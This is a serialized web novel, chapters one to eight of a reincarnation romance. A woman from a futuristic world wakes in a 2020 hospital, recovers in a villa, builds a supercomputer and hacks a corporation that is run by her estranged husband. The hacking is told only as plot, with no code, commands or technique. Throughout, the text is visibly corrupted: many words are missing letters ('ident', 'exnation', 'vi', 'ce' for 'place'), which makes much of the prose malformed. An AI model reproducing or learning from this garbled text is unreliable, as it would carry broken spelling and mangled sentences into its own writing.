《Redeeming The Golden Ticket To Life》


 Chapter 1: The Unexpected Reincarnation

    Chapter 1: The Unexpected Reincarnation


    [BEEP ... BEEP ... BEEP ...]


    I open my eyes.


    I am weed by the mechanical sound of a venttor, and a whitewashed ceiling.


    ''And here I thought that''s the end of me.''


    (I thought I was a goner in that ident.)


    ''How did I survive?''


    Trying to move my limbs, I realize it''s too fragile. I don''t remember myself being a porcin doll.


    ''Hmm  let''s get the situation straight with some doctors here''.


    There should be a nurse button somewhere near here. Looking around for quite some time, I search for a call button.


    I find it attached to the bedside; with great efforts, I pushed the button.


    ''Let''s wait for the doctors for an exnation.''


    After a few minutes, a nurse walks into the room. She looks surprised to see me awake. Shees near me and calls me out.


    (I don''t know the name she is calling though; my voice was raspy. It seems unused.)


    With difficulty, I asked her, "Water ... Wa-Water pleas ..."


    To give me some water and call the doctor in charge.


    She looks surprised and rushes towards me. She helps me to first sit upon my bed and then brings me a ss of water. After she ensured that there was no immediate danger to me, she went to call the doctor in charge of my room.


    While the nurse was gone, I pondered a bit more; the nurse called me, but I''m not familiar with that name she was calling me.


    I''m confused with the surroundings too. It is a private room, but it looks antique-like something from the yesteryears.


    I feel the mystery has just deepened a lot more.


    ''Where am I?''


    ''Why is it that I open my eyes and the world seems different all of a sudden?''


    The endless waites to an end.


    At least for me, it was an endless wait while for others it may be somewhere around a few minutes. As the door opens, a team of doctors rush in.


    I observe that the man leading them is a very handsome young doctor. It sure is eye candy for patients to see handsome meat in front of them.


    I look at the entourage and wait for an exnation.


    "Hello, I''m Dr Yun Lee. I am your main doctor in charge. May I first proceed with a few preliminary physical examinations before we chat?"


    I nod to this request ''at least he knows the drill''.


    The doctors started a very systematic process of examination. Right from taking temperature to checking all physical status. But I have a big question i.e. why is everything so archaic?


    When did the medical system revert to traditional practices? What happened to the fast-paced instant medical system?


    Well getting back to the point. It took them twenty minutes to get the basic examinations done. Dr Lee asked everyone to leave, and he stayed back to exin the situation.


    "I''m surprised by your recovery speed Ms Shui; your casees under the category of the miracle. After your ident, there was little chance of you being alive."


    ''Now even I am wondering, what happened? Could you please fast forward to relevant details?'' He observed my restlessness and my resistance to the surroundings.


    "Ms Shui, do you remember yourself getting in this situation you are in now?"


    I turned my head and gave him a nk look. So he asked,


    "Ms Shui, do you remember your name?"


    I again responded with a nk look. Well, it''s better to fake amnesia than to transfer to a mental health institution, I guessed.


    The doctor sighed, "Ms Shui, I will let you know the situation promptly after your full check-up. After we establish the fact that you are fit to take any type of strong stimulus, we will further notify you."


    He left after a polite courtesy.


    While I am left with endless spections.


    ***


    [POV Dr Lee]


    Meanwhile, after leaving the patients'' room Dr Lee called a number -


    "Hello"


    "Hmm"


    "I''m afraid it''s a case of amnesia, temporary or permanent we need to see".


    A silence answers, it''s stifling.


    "How do you want me to answer about the ident?"


    "Something simple"


    "Okay"


    After disconnecting the call.


    ''I swear doing a fifteen-hour surgery is less tiring than talking to this Buddha.''


    ***


    [POV Bai Chang]


    Inside the room, I am going berserk. Hell, I''m in the year 2020!!


    How did this happen?


    I clearly remember being in a covert mission and due to some reason the base got air-raided, and that''s the end of me. A legend in my time, a genius, an elite among elites, how did I end up transmigrating?


    Slowly, I try to get ustomed to the memories in my head; something I have been resisting all this time. There are bits and pieces of information and I sieve through them.


    Long story short; I''m Shui Bai Chang from an elite aristocrat family and my parents have passed away. I am an heir to a rich trust fund, and I''m autistic. My memories are full of paintings and various craft skill sets, while the surroundings are a blur to me.


    Hence a nk te.


    Whilepared to my past life before transmigration/ reincarnation. I was a genius from the Star time system with my hands in all kinds of pies. While I wished for a simple life sometimes. I wanted to fulfil my dreams to pursue art and culture but, then conditions pushed me to some other path.


    I have a chance now.


    But while contemting I realized that I had a sad ending in both my life.


    (As if dying is any rationale for happiness.)


    I am wondering; was the God of Fate, Si Ming, ying around with my destiny? When the cosmic power felt it was enough of injustice to me and gave me a golden ticket to life with a second chance.


    Now tell me, who reincarnates in their past life with memories of the future? Normally it is another way around.


    (Naturally, I am notining about the cosmic power looking after me. I''m just letting my views know nothing else.)

 Chapter 2: Acclimatization

    Chapter 2: limatization


    ****


    [POV Bai Chang]


    After those initial tests, doctors had their concern about hidden traumas. Thus for the next three days, they did extensive medical examinations. MRI, CT, whole-body check-up etc.


    It was boring all this time. The only entertainment to my restless newly emerged soul was the eye candy doctor, Dr Lee.


    One must admit he does have the right assets and good proportions. If not a doctor, he would have made a fine idol. Imagining this is definitely more fun than those antique medical procedures. If it was a Star Time system, this all would have been done in fifteen minutes.


    After getting out of here; I have two objectives. a) Getting a thorough understanding of my situation. b) It is of utmost priority to form my personal medical unit, otherwise, I would die in this ancient world.


    After all cosmic gods won''t be favouring me all the time. I need to ensure my life insurance for this bountiful golden ticket.


    ***


    [POV Dr Lee]


    Meanwhile away from Bai Changs'' internal drama, Dr Lee was going through a crisis. After all, in his office; sitting on his chair was the Big Buddha.


    ''I understand that you care for her, but why do you have to torture me?''


    As I entered the room, I was greeted with the piercing stare of his majesty.


    "You are here".


    "Hmm"


    "You want someth " the stare became more piercing with each passing moment.


    "Reports"


    "Well, her condition is unusual. She woke up from aa after three years. But she does not show any signs of autism; moreover, she has total amnesia to the point she is unable to recall her name."


    "Anything else"


    "She has be sharp. It is best to introduce everything to her slowly if possible. Her mental strength is strong but her physical strength is abysmal. I''m afraid she can''t handle strong stimuli."


    Silence prevailed in the room.


    "She asked anything yet"


    "No, not yet. But she is restless as if running from everything". After a brief silence Dr Lee continued, "I think it''s best to restart your rtionship with her, from scratch. Slowly progress towards it".


    ***


    [POV Bai Chang]


    On the fourth day finally, Dr Lee took time to visit me in the VIP room.


    "Hello, Ms Shui, how are you feeling today?"


    "Too lethargic I need some physiotherapy," said Bai Chang.


    "So you seem more aware after you woke up, any other difficulties?"


    "No doctor"


    "Ms Shui, you always seem restless after you woke up is something the matter?"


    At least he is aware of it "I want to discharge, hospital sickens me, I guess I had enough of it tost me a lifetime"


    "Yes that''s true" Dr Leeughed gently.


    "Dr Lee I want to see my medical reports, all of them that you have, past as well as the present."


    "Ok, I thought you might ask so I got them with me, here" he offered me a file.


    I went through all the details and raised my eyebrows. Do they think I''m stupid or I''m a kid? They doctored my medical report and expect that I won''t spot the difference. This is an insult to my intelligence to an extreme.


    I looked sharply towards Dr Lee, "Dr Lee I want the undistorted medical report and history. Let''s not insult my intelligence. From my body conditions, I know what I went through? It would be better toe clear to the concerned party which, in this case, is me. I do not care about the third party involved. Between you and me, Dr Lee, it''s best not to get on my bad side, otherwise, you may not realize how you got destroyed"


    Dr Lee stood stunned as he looked at me as if seeing a ghost.


    I condescendingly replied "Do not look at me like that, trust me I can do what I said. I want the undistorted medical reports and history and nothing should be missing. Trust me I would know if something is missing. After all, I was autistic in the past but not dumb; I had enough IQ to make a genius cry on his knees."


    After a brief silence, I asked, "Am I clear?"


    You should know; an appropriate pause can get your points across better. It is a very important skill in yourmunication arsenal.


    "Yes Ms Shui" Dr Lee replied, there was a thinyer of cold sweat on his brows as if he survived a major attack.


    I was gloating inside, serving him right for being smart in front of me.


    He he he


    ***


    [POV Dr Lee]


    Dr Lee left the VIP room and walked straight to his office and called the Big Buddha.


    As the call connected "I needpensation, I was heavily damaged by your woman mentally right now. It felt as if I was on a battlefield. Right now I am giving her the original medical reports and history. Except for the ident detail. If I don''t, she threatened me that she would destroy me in sly. I am off from here; your woman has woke up to be a tigress after thea." After saying all these in one breath finally Dr Lee took a deep breath.


    After such a hefty monologue, the other party just chuckles and disconnects the call.


    ''I swear I will lose some of my years just by talking to him.'' Looking towards his phone Dr Lee self-deprecatingly smiles to himself.


    ***


    [POV author]


    Somewhere in a posh high rise pent office. A handsome tall man in his tailored suit was smiling while looking towards his phone.


    If his personal assistant saw him now, he would surely have fled the country. To put some safe distance between him and his boss, because his tsundere boss is ready to y the role of a big bad wolf.


    The question is who is his unfortunate prey?


    ***


    [POV Bai Chang]


    In the meantime, Dr Lee did send the relevant medical files. After all, we talked onlyte in the morning and the files were sent by early afternoon.


    I looked through the file. My medical history from birth to date. It seems that the details about the ident that put her into aa were conveniently not mentioned.


    After reading through those reports; the conclusion drawn was I need to form a personal medical unit ASAP. Otherwise, my golden ticket to life would be spent meaninglessly. After all, I am an unregistered golden blood type of person. Meaning a blood type so rare that people won''t be found around the world in case of my medical emergency.


    This at least exins the porcin doll condition of my body. It seems I have my work cut out for me on the basis of priorities after I leave the hospital.


    There are some other interesting tidbits in the file. But they do not rank high in the immediate priority list. after all, I don''t know when the god of fate, Si Ming, will feel like ying with my fate like a devil.

 Chapter 3: Redeeming The Golden Ticket

    Chapter 3: Redeeming The Golden Ticket


    [POV Li Jie]


    In the heart of the Jilin cities'' economic park, there are a few high rise buildings among them, towering them all is a sixty floors high rise which is the headquarters to Hu Corporations. At the top floor of this building was the pent office of the chairman and CEO of the Hu Corporations, Hu Qiang.


    The man was tall around 1.8m, well-maintained physique with an absolute tsundere character. His words are as precious as gold while his working efficiency is unprecedented, so much so that it took him just four years to establish and expand hispany in China as well as overseasnding thepany on the international stock exchange market. This man has the power to dictate life and death; as well as sess and failures within the boundaries of the country.


    Hu Qiang was sitting behind his desk reviewing a contract when the door was knocked and in came his assistant, Shen Li Jie, a man in his mid-thirties with broad-rimmed spectacles and a head full of salt and pepper hairs. He is the perfect example of a corporate figure with substantial power. He walked into the office and hesitated a fraction of a second before reporting-


    "Sir, madam wants an immediate discharge from the hospital."


    "Hmm"


    "How should we proceed with amodation and finance and other misceneous things?"


    He truly admired the man in front of him, to be patient enough to madam and always supporting her from behind the curtains. Truly there is a god. For this awaited reunion to happen is in itself a reason for celebration.


    "Li Jie, the vi at Rudyson Bay, unit number one, open it for her, as well as the trust fund left to her by her parents, reactivate it and deposit another ten million in it. Contact the best physiotherapist for home sessions and let Yun Lee be on standby at all time. She is the priority, nothing should happen to her."


    "Yes Sir"


    After sometime Li Jie couldn''t stop himself from asking


    "Sir, after such a long time why not stay with madam and let her know about you and young master?"


    "Li Jie, this time I want to do it right, I want to chase her in an above-board manner and make her fall in deep love with me so that never in future she would think of leaving me."


    The room became silent but the conviction of his boss was truly felt by Li Jie.


    * * *


    [POV Bai Chang]


    It''s been fifteen days since I woke up in this world, most of my time is spent reading and browsing the inte to get a hold of information to my new world so that it helps for a seamless transition to this world. I must say the archaic world is fun as I can see some serious dor signs in my bank ount through patents and IP. I will make a lot of money and blow it all up on shopping and travelling, to see the world that was deemed by the professor of Star Time system to be visionary and dared to be revolutionised. I am super excited.


    * * *


    At around 11 a.m. Dr Lee walked into the room apanying him was a corporate man with broad-rimmed spectacles and heads full of salt and pepper hairs as these characteristics stand out while on closer observation this man exudes the aura of capability and hidden strength like someone practising martial arts.


    The man politely nodded his head in greetings and introduced himself-


    "Good morning madam, I am Shen Li Jie, I am your custodian, and I apologize for myte arrival. I was forbidden toe in contact with you by Hospital authorities."


    While Dr Lee was sneering in his heart, ''forbidden, who would dare to forbid the messenger of Big Buddha, sure enough like master like subordinate, insidious to the core''.


    While Bai Chang was analysing the man introducing himself as a custodian from head to toe, she has her thoughts but this is not the ce for those type of conversations.


    By nodding her head Bai Chang acknowledged the greetings


    "Brother Li Jie, you do not mind me calling you so right?"


    "No problem madam" replied Li Jie.


    "Brother Li Jie, I want to discharge immediately, is it possible?"


    "Yes madam, I have processed the papers, your further treatment and Physiotherapy would be done at home. While Dr Lee would be on standby for any emergencies."


    Hearing her immediate freedom is guaranteed there was a genuine smile on her face and it is dazzling.


    Dr Lee thought to himself ''how did she go through all the trouble before? I hope this time she is away from harms path.''


    " Thank you, brother Li Jie, but I request you address me as a youngdy or by my name it makes me feel too old when addressed as madam and you know girls are sensitive about age."


    Sheughed and it felt like light bells jingled harmoniously throughout the room.


    Li Jie was still tactical he replied in firm manner.


    "Yes, youngdy."


    With my freedom in ce in in sight, it uplifted my mood for better as I was looking forward to moving out of this 20 by 20 square feet VIP patient''s room and breathe in the fresh air.


    Li Jie was efficient this man truly has great potential once I get the gist of everything, his potential needs to be better utilised.


    * * *


    By noon we left my archaic prison and stepped foot outside the hospital towards my new home. It''s time to redeem the golden ticket to life I took a deep breath and walked into a low-key BMW, the inside of the car was customised to the extreme, to ensure safety, and while the outside avoids the concept of shy. Watching me observe the interiors of the car attentively and curiously Li Jie replied


    "Youngdy, we want to avoid any misfortune to happen to you again so everything has been upgraded keeping in mind your safety."


    I was touched by the concern shown, I quietly sat down the inside the car as the engine ignited, the sound of the engine felt like a ride to new adventures and a new beginning. As the car moved and made its way to the busy roads of the capital city I took in the passingndscapes and vitality of the city''sndscape, the noise made me realise, I am alive and it''s not a dream, promising new start away from the prying eyes of those Grand members of Star Time System Council; doing what I want to do, the true freedom, to make my own mistake and consequences, choices and decisions. Atst this Golden ticket it''s worth the past sad endings of our lives, Bai Chang I promise to live for both our lives I Elizabeth would be your strength this time let''s live life to the fullest.

 Chapter 4: Home Sweet Home

    Chapter 4: Home Sweet Home


    [POV Bai Chang]


    The car came to a stop; I was awakened from my reveries. Li Jie stepped down and opens the car doors for me; so very gentlemanly.


    I stepped out and looked around me, we were in a private Upstate Residency Area, where it just has a few Vis and only endless natures beauty, this ce is guarded on its north with small mountains and there are few water bodies like smallkes and ponds; the vegetation gives the air a taste of wood and green leaves.


    Even before entering the ce, I seem to like this ce, so far so good, we entered the vi through a wrought iron gate, it has a medieval design looking straight out of mediaeval European movies, there arerge lush greenwns, a very obscure orchard and quaint Neo-European style house with the outside having concrete and stones ced in strange harmony, from looks you would know, the architect inputted his ideas while taking inspiration from the location itself.


    It''s beautiful. I felt it was like Christmas or New Year, someone sending you presents that you want to cherish for a long time. I decided I would explore the Vi little by little and conquer it piece by piece.


    Li Jie walked in front of me all the time, walking me through the property, we arrived inside the house, it would be my home soon. Li Jie turned around and faced me,


    "Youngdy, this ce security is good and the surrounding is good for your recuperation your bedroom is on the third floor. We will meet again tomorrow."


    "Thank you, Brother Li Jie, you do take rest, while youe tomorrow could you please bring the ounts for the estates and trust funds? I need to review the details to n better."


    "Youngdy" Li Jie politely smiled and left me alone to explore the ce first.


    I need to go to the washroom, hell hospitals are no fun and taking a nice warm bath is the epic level rxation you can ask for, I went upstairs and prepared a beautiful bath for me; how thoughtful of Li Jie there are bathroom essories all neatly arranged in the cupboard all new and smelling good it''s time to rx my nerves.


    [POV Li Jie]


    After leaving the Vi unit one, Li Jie went straight to Vi unit four which was the neighbouring Vi to Vi unit one. He passed through the gates and went straight to the first to the study room, which is used by Hu Qiang as his office was staying at home. He knocked on the door of the study and only after hearing a light response enters the room.


    "Good Afternoon Sir, we have transferred madam to Vi 1."


    "Anything else?"


    "Sir, madam asked for all the ount books rting to estate and trust funds to be handed to her tomorrow for reviewing."


    "Okay give it to her."


    "Sir, how to respond to any of her queries?"


    "You are a smart person, answer ordingly."


    "Yes Sir"


    "Li Jie, stay with her as her assistant from today onwards, see that nothing happens to her."


    Li Jie was stunned for a moment, " Yes sir" he replied, he was emotional, it must be known that before serving the Hu Corporations, he was the legal custodian to Bai Chang, he practically raised her and treated her as his own.


    He was satisfied to return to his Youngdies'' side, to be her umbre and her safety when she needs it. There was gratitude in his eyes as he looked towards the man in front of him, Li Jie politely nodded and left the study.


    While Hu Qiang thought to himself ''this time I will be your Shield and your armour without chinks so that you can live the way you want to live without dealing with troubles from the past.''


    While Bai Chang finished her shower and stood in front of the full-length mirror, what reflected was a young girl in her twenties, height 5.7 feet, long graceful limbs, Swan neck and eyes dark brown; holding mysteries within and inviting others toe and try to explore. Her hairs were waist length and beautiful like silk threads, the bodyplexion was fair; if she dressed right she can steal a few hearts just by walking by the road.


    She was dressed in a very simple bold yellow colour floral Maxi dress and it gave her image of the sunflower and untouched by the world it looks good after self-admiring and feeding herself with a healthy dose of female vanity she started exploring the Vi building itself.


    This ce was big but not cluttered, on the ground floor there was arge living room as well as the drawing-room; outdoor room facing the pool and small garden. The first floor had an open kitchen and dining ce with two guestrooms to the opposite side with attached washrooms. In the third floor there was only a master bedroom with attached washroom and big Study room the size of half a ballroom with all types of books and a ssic European table chair set up, there is a couch in the room. On the third floor, all windows were made up of ss, floor-to-ceiling length overlooking various picturesque spots of the Vi but after all the exploration I soon realised something which is in this ce there are no memories of this ce in Bai Changs'' head and neither is there any belongings rted to her, it turns out my sweet home is after all not so sweet home for Bai Chang.


    Never mind after all a new beginning could be started from a new ce too and admitting it truthfully this ce is just the right ce for me. As I fell in love with this ce so it will be my ''Home Sweet Home''.

 Chapter 5: Day One

    Chapter 5: Day One


    ''Oh it''s a brand new day with my brand new life, I feel like a Disney character; I can sure break into a song if you want me to, after getting freshened up I walked down the stairs to the outdoor activity room.''


    One hand holding a cup of Mocha and sitting on a couch admiring the view, how very rxing, in my past life I don''t remember myself having such a time.''


    A bell rang somewhere I looked over my shoulders brother Li Jie was outside the doors.


    I let him in; he looked at me from head to toe, ensuring everything is good there was a sign of relief in his eyes.


    "Youngdy, did you have a good sleep?"


    "Yes brother"


    "Your physiotherapist would be here for your session by 10 a.m."


    "Okay, Brother Li Jie, have a seat by me and enjoy a cup of coffee."


    He sat on the single chair and I fixed my cup of coffee. ''Pardon my manners but I only know how to make coffee so no options provided''.


    After taking the cup from me he asked "Youngdy, how do you want to manage the household?"


    He sipped on the coffee a moment passed, ''I was a little bit nervous then there was a genuine appreciation in his eyes my inner vanity did a lovely girl''s Swag move''.


    "Brother, I want to know in what circumstances you can help me then I will arrange personal". Though not direct he understood the underlined subtext from my question.


    "Youngdy, let me properly introduce myself, I have been with your family for all my years. My father was your father''s manager and friend. I was brought up under your parents'' blessings and I have looked after you all my years after your parents passed away, your custodian was my fatherter in an ident my father died and I became your custodian. While you were in aa, I worked as an assistant to the CEO of the Hu Corporations and now that you are back I am back by your side, that is, if you take me."


    "Brother Li Jie, thank you for your hard work... do not distance yourself, I am aware of your presence from some of my early memories that is why I followed you out of the hospital otherwise I wouldn''t have done so."


    "Youngdy, what you wish to do then about Household personnel?"


    "Arrange for some trustworthy people to work inside the house a responsible steward would do, for outside the main building, to maintain the property arrange for some contractpany that you see fit. But inside the main building, 3rd floor would be off-limits for all without my explicit orders. Hiring a nutritionist who would do the cooking, without my permission no other person can enter the main building. I would review the security gridter, for now, let''s keep it up to this."


    "Yes Youngdy"


    "Brother, the steward and the nutritionist I would like to personally interview them you sort out a list ofpetent people for the post."


    "Yes youngdy"


    Suddenly Brother Li Jie took out his phone


    "Youngdy, your physiotherapist is here apanied by Dr Lee."


    "Oh, Dr Lee is here, sure wee them."


    "Yes youngdy"


    ''Oh, Li Jie is so uptight'', I sighed.


    I went to the drawing-room to receive the guest, Dr Lee was apanying a youngdy by his side she looks too fairy-like, sharp facial features, nice eyebrows and temperament of someone with absolute confidence in her craft.


    "Nice to meet you. You sure looked radiant outside the hospital room."


    "Well, what can you say, hospitals are meant for patients and home is meant for outpatients with the sense to enjoy life."


    He saw me observing thedy he was apanying "Ms Shui let me introduce her, she is Dr Yun Hualing, my sister, a Traditional as well as Western medicine practitioner and the best Physiotherapy in the country."


    "Hello Dr Yun, I will be under your care from now on."


    "Hello, Ms Shui, let''s start the check-up and diagnosis."


    "Sure" I replied.


    We moved to the outdoor activity room and there Dr Yun gave me a thorough check-up and prescribes the flowchart for my Physiotherapy. I give it a look; there were no immediate problems in it.


    So the morning went by exercising my limbs slowly. At aroundte afternoon after having lunch both Dr Lee and Dr Yun left.


    Brother Li Jie stayed behind, "Youngdy, how do you feel?"


    "It''s good brother, yesterday I asked for the ounts book."


    "Youngdy, they are on your table on the ground floor study room."


    "Thank you brother, stay behind, let''s chat it''s too boring to stay all by myself."


    "Sure, what would you like to have at dinner? I would cook for you."


    "Brother you know how to cook?" he saw the radiant light in my eyes and smiled brightly. "There is a lot more to your brother" he smiled and went to the supermarket to get stuff for making the dinner.


    I realised that Li Jie was finally warming up to me, so next on the itinerary is looking through those ount books. It took all evening for me to look through and make sense of the funds. Dinner was cooked and the aroma made me hungry.


    I went to the dining room where food was served Li Jie looked at me and smiled as an elder brother watching his younger sibling being adorable and right on cue my stomach grumbled dering that I was hungry.


    We bothughed and Brother Li Jie served me dishes, there were congee and vegetable sds as well as some soup. I quickly sit down on the chair and started to dig in.


    "Brother, I read through those funds but I do not understand the extra 10 million from The Hu Corporation."


    "Youngdy that was provided by the CEO of the Hu Corporation, in good faith to congratte you on your health."


    "That is some big red packet I must say, we will need to pay it off."


    "As your wish, is the food delicious?


    "It is"


    "d you liked it."


    After dinner, Li Jie left. I went to my study room on the third floor and quietly pulled out a notepad and jotted down my ''To-Do List''.

 Chapter 6: To-Do List

    Chapter 6: To-Do List


    To-Do List


    Surf the dark web


    To set up an upgraded security grid on the Vi


    Get some small jobs on the web to buy better specs for theputer system unit


    Break the firewall of Hu Corporations


    Make a good amount of money out of him


    And thest one is her secret she would do it herself, satisfied with the list she called it a night.


    ***


    ''Next morning after regr Physiotherapy, I was resting. Today Dr Lee did note, I missed his handsome face but Dr Yun made up more than enough with her beauty and wits. It''s always good to chat with intelligent people since it develops your IQ.''


    "Brother Li Jie, do we have a basement and an outhouse on the property?"


    "Youngdy, we do."


    "Great! Let''s go check out the ce."


    ''First, we went to the outhouse. It''s big enough, itprises of two floors the ground floor was all open while the first floor was sectioned, just perfect for me to set up my workshop. Next to the basement, it was a hard-core panic room model with thick walls; cleverly ventted and ample space. I have some ns for this ce but not immediate.''


    "Good this ce is up to the mark in near future I''ll set up my workshop here," I told Li Jie.


    "Youngdy, what would you like to be arranged?"


    "Nothing special, currently high-speed inte and high specputer units would do."


    "Okay, I will arrange for it. Where to set up the unit? "


    "Set it up on third-floor study room in the main building please."


    ''Li Jie made a scrumptious lunch and it filled my heart with joy. By evening I had a well-functioning system unit. I first opened Amazon and ced a bulk order of books ranging from Medical, Computer Science, AI to energy fuel and textile minerals and anything and everything that could be found so that people won''t be surprised when I do stuff in future and I have a cover ready for me. If people feel surprised by my achievements I will simply reply-- I''m a born genius.''


    Last evening I received an email, it was from Li Jieprising the list of candidates to be interviewed for the Steward and Nutritionist post with their CVs. I looked through them. We would need to interview them to get to know the real person.


    I went to the study and surf the inte, the night passed away.


    ***


    Today was a rest day, no Physiotherapy. I did a light exercise to warm my body; after breakfast, it was time to interview the candidates, there were four candidates for each post so we need to interview eight people in total.


    The venue was my ground floor study room.


    Li Jie called the first person.


    A middle-aged man with fidgeting hands sat across us and Li Jie asked him questions. When asked about his previous upation his heart skipped a beat, his nose slightly red his eyes flitted around for a moment but he contained it.


    I spoke up "Thank you for your time, will get back to you soon."


    I had aptop around me; I showed his pasts'' extra-curricr details to Brother Li Jie. He understood the man was not clean.


    Next entered someone but he was too nervous so I didn''t take an interest to him.


    Next came a person who is wearing casual outfits instead of prim and proper suits; there was a sense of steadfastness which is contradictory to his outlook, it piqued my interest, I initiated the interview -


    "Name"


    "Zhang Wei"


    "The previous upation"


    "Special Op"


    "Anything ssified, I should worry about"


    "None"


    "Why this job?"


    "It''s easy and I need some rxing moments"


    While speaking I observed him; he wasn''t telling a lie his muscles look trained from special exercises, his temperament natural and calm, his breathing even.


    "Are you aware of your job description?"


    "Yes, I am"


    "Are youfortable with it?"


    "Yes"


    "Will get back to you soon"


    "Thank you, have a good day." Then he took his leave.


    "Brother Li Jie, he is hired, do let him know, as for the nutritionist you choose one you see fit and keep him or her on probation. I am tired I would retire to my room." Seeing me tired he didn''t dy and I went upstairs. I went straight for my study and there I looked through the records kept on the table.


    Zhang Wei is from ''special co-ops'' unit branch 6. Served in the military for seven years and all were intensive battle ground operations most of the missions he works on, he operated from ''Ground Zero''. Hisst mission is heavily ssified even under military records.


    He is an interesting person not too shabby, tall, well-muscled, square face, broad nose, thin lips and standard military hairstyle; the most noteworthy aspect of his asset are his eyes. They were calmtoo calm, like the unnerving calm before the storm. These types of people make interesting subordinates to have by ones'' side.


    ''Let me see if I can win him over to my side''.


    After dinner I went to the study; I have already surfed the inte and dark web for thest few days. I took three low-key but good pay generating jobs and re-routed the money to buyponents to make my supeputer system. Satisfied, I look through the books I ordered first medical books-- the night passed by reading books. I fell asleep on the couch.


    ***


    The morning I freshened up and continued with my routine. A week passed by, during this time my body limatized with the environment and the metabolism rate increased steadily. Good progress, I skimmed through most of the technical books that I ordered, today I am waiting for theponents to be delivered.


    Additionally, Zhang Wei would join his work today. He would be staying with us from here onwards.


    "Youngdy, are you expecting something?" Li Jie inquired after watching look towards the door for the nth time.


    "Yes, I am waiting for special delivery. It might get stopped by the main entrance gate of themunity."


    "May I know what the content is?"


    "Mostly technicalponents to build any functioning system"


    "Okay Youngdy, you rest I will check with the main gate security"


    "Thanks, brother"


    Li Jie left and returned after 2 hours. He came back; apanying him was Zhang Wei and some other men carrying boxes after boxes of the parcel. They ced it gently on the floor.


    "Wee, Zhang Wei"


    "Good Afternoon,dy"


    "Please call me Bai Chang, as Brother Li Jie already calls me ''Young Lady'', there are no other options here."


    Zhang Wei smiled I swear, it was not a bright smile but the corner of his lips hooked up.


    Both of them helped me get these boxes on the third floor and I retired for the day.


    ***


    Next few days I spent most of my time in the study room, making my supeputer I only showed up for my Physiotherapy sessions.


    It took some time but I finally got my prototype running.


    It took another week to perfect the supeputer after a month of hard work, I finally made it.


    Now it''s <em><strong>''Game On..''</strong></em>

 Chapter 7: They Meet

    Chapter 7: They Meet


    [POV Bai Chang]


    Tightening the screw bolts, this was thest of them. I first installed a few high-grade infrared security systems along with analogue and digital sensory systems with high frequency military great tools all over the property. To attack and disable threat you don''t always need to pull the big guns, sometimes less would do too. All the security system was co-ordinated with my supeputer ''Jiffy'' (naming yourputer is not stupid, specifically if it has initial artificial intelligence).


    "You activate the grid" Imanded ''Jiffy''.


    I went into the main building, had some lunch and then get on with point number 4 from my ''to-do list'' i.e. snooping around the Hu Corporations and attacking their firewall. I decided I wanted to browse through thepany details first and keep a backup of ''ck material'' if required then start to y with them. The whole evening I snooped through all the systems and reports of thepany. After dinner, it was time to y hard with The Corporations'' IT people.


    ''Will I be called a viin if I do so? Should I y Beethoven symphony or Debussy to justify the setup? Who cares, let''s y William Tell theme tune and bully these IT people.''


    [He he he]


    ***


    [POV Hu Qiang]


    It''s Saturday, today I work from home, it''s a habit that I developed while married to Bai Chang. I liked spending time with her; we would sit onputers and y games or code some program. There was silence among us but that never developed as awkwardness. Due to her Autism, she liked quiet ces most.


    Now it is mostly to give my employees a break from my presence, to lighten up the office tension. Work builds pressure, it needs to be released to increase the efficiency of the employees; that''s how you make billions.


    (A phone rang)


    I answered.


    Another side is frantic and fast-talking,


    "Cyrus slow down and speak clearly."


    "Boss we''re under cyber-attack, someone is ying with us."


    "Details Cyrus"


    "Boss, cyber-attack, top-level, out of my grade" Cyrus replied in a panic.


    "I''ll be there in twenty minutes, till then hold the Fort."


    After disconnecting I contemted, for Cyrus to say- ''out of his capacity'' it is a tough situation. After all, he is one of the three best hackers in the world. A few years back, he was in a tight spot and I gave him a helping hand since then he has stuck to me like a piece of gum to a shoe.


    I rushed to the door, a car was standing outside, a low-key BMW, interior redesigned just like the one I gifted Bai Chang after her recovery.


    I drove it at full speed and reach the office in thirty minutes, as the traffic was light, it helped.


    As soon as I entered the IT room at 50th floor, Cyrus jumps towards me; this Europeannky guy with long blonde hairs, wearing a sweatshirt as his Trademark uniform with an angr face (which is dirty) and the wiry frame is hard to believe to be a geniusputer engineer from MIT.


    "Point by point analysis, Cyrus" I reminded this kid in front of me.


    "Boss, he is merciless he is toying with us from 9 p.m. He first broke our Firewall in one frontal attack. Then when the back program started to function he started selectively ying. Like first attacking the logistics department server then when we hold against him. He went on to crush the financial ount server and the processes are still on-going."


    "Cyrus. Cyrus ", I interrupted, "How much data have been lost?"


    "It''s strange the thing is we didn''t lose anything, at least that''s what looks like from the top."


    "Okay, let me see."


    I sit behind the system and looked through this hackers work, this is a special case of showing off, the hacker wants attention but the purpose is not clear yet. I started typing on the keyboard and try to counter-attack the hacker. We were in a battle for half an hour the opposite party is good I am not able to fully tackle them at all. Finally, I send a message to this friend- What do you want? I am the big boss of thepany.


    The other party went silent for a minute.


    There was an encrypted message sent directly to my mobile.


    [Meeting, Your office; Monday. 10:30 a.m.]


    Interesting, even I want to see who is it who can circumnavigate the security system designed by Bai Chang, she was Autistic but highly gifted in the field of Computer Science and Arts. It is not too much to say she is one of the topmost geniuses the world kept their eyes on, if not for that ident and her medical condition made known to these people belonging to a group of high authorities around the world; it is hard to imagine how peaceful life would be?


    Maybe this is a blessing in disguise; at least this person can take some of the limelight from Bai Chang, ensuring her safety. Let''s see if we could reach negotiations with him.


    Monday morning, I was waiting for our friend, not sure he would keep his words or not, Cyrus is in full overdrive he didn''t sleep inst forty-two hours and tried to figure out the route of entry.


    Poor kid with puffy eyes was pacing all around my office from morning to meet this new friend.


    I believe he is irritated now but definitely would be the fanboy in near future.


    "Stop pacing around, my head is feeling dizzy," I rmended him.


    The officendline rang; I looked towards the clock mounted on the opposite wall, it is 10:30 a.m.


    "Sir, here at reception someone asks to deliver you a message. [Meeting, your office, Monday, 10:30 a.m.]"


    This was what the hacker sent on my mobile, only I and Cyrus knows about the text message.


    I quickly replied, "Lead them to my office".


    I put down the receiver, Cyrus looks at me with eyes full of passionate emotions.


    I sighed "He is here."

 Chapter 8: Unexpected Surprise

    Chapter 8: Unexpected Surprise


    The office door opened someone answered from outside "Sir, your guest is here", following her voice a woman entered.


    She walked with a certain measured gait, eyes straight ahead staring at me, chin slightly up, her temperament belonged to people holding a position of power- strong vitality and strong personality that radiated around making everyone around cautious. Her dark brown eyes were inviting me to the depths of the abyss. She looked like an untouched rare flower with thorns and pride with slight contempt for the world around her. She is my wife Shui Bai Chang.


    "You are a she!" Cyrus eximed.


